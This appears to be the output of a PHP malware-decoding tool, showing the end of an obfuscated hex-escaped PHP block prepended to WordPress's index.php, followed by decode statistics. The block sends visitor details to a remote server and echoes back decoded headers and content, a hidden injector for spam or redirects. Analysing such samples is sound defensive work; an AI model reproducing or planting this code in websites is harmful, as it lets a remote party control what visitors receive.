"\x61\x67\x65\x6e\x74" => $WSsGxwUBbg["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"], "\x72\x65\x66\x65\x72\x65\x72" => $WSsGxwUBbg["\x72\x65\x66\x65\x72\x65\x72"], "\x70\x72\x6f\x74\x6f\x63\x6f\x6c" => $WSsGxwUBbg["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"], "\x6c\x61\x6e\x67\x75\x61\x67\x65" => $WSsGxwUBbg["\x6c\x61\x6e\x67\x75\x61\x67\x65"] ); $PnaaKgeNhT = pRLPxnTtUbXlNlbFVDkoewbY($WSsGxwUBbg["\x61\x70\x69"], 2, $oCDdLrzurE, array(), $WSsGxwUBbg["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"]); if (isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x64\x75\x6d\x70"])) { var_dump($PnaaKgeNhT); $PnaaKgeNhT = pRLPxnTtUbXlNlbFVDkoewbY("https://"."\x67\x6f\x6f\x67\x6c\x65".".com"); var_dump($PnaaKgeNhT); die(); } $PnaaKgeNhT = @gzuncompress(base64_decode($PnaaKgeNhT)); $tSZpeDkfiM = @preg_split("/\|/si", $PnaaKgeNhT, -1, PREG_SPLIT_NO_EMPTY); if ($tSZpeDkfiM !== false) { $zyCrRRwEaA = array_pop($tSZpeDkfiM); $zyCrRRwEaA = base64_decode($zyCrRRwEaA); foreach ($tSZpeDkfiM as $srcOFcvBhf) { @header($srcOFcvBhf); } echo $zyCrRRwEaA; die(); } ?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';Function Calls
| str_split | 1 |
Stats
| MD5 | 689f568c8c1a8b8a6b226487de68c480 |
| Eval Count | 0 |
| Decode Time | 170 ms |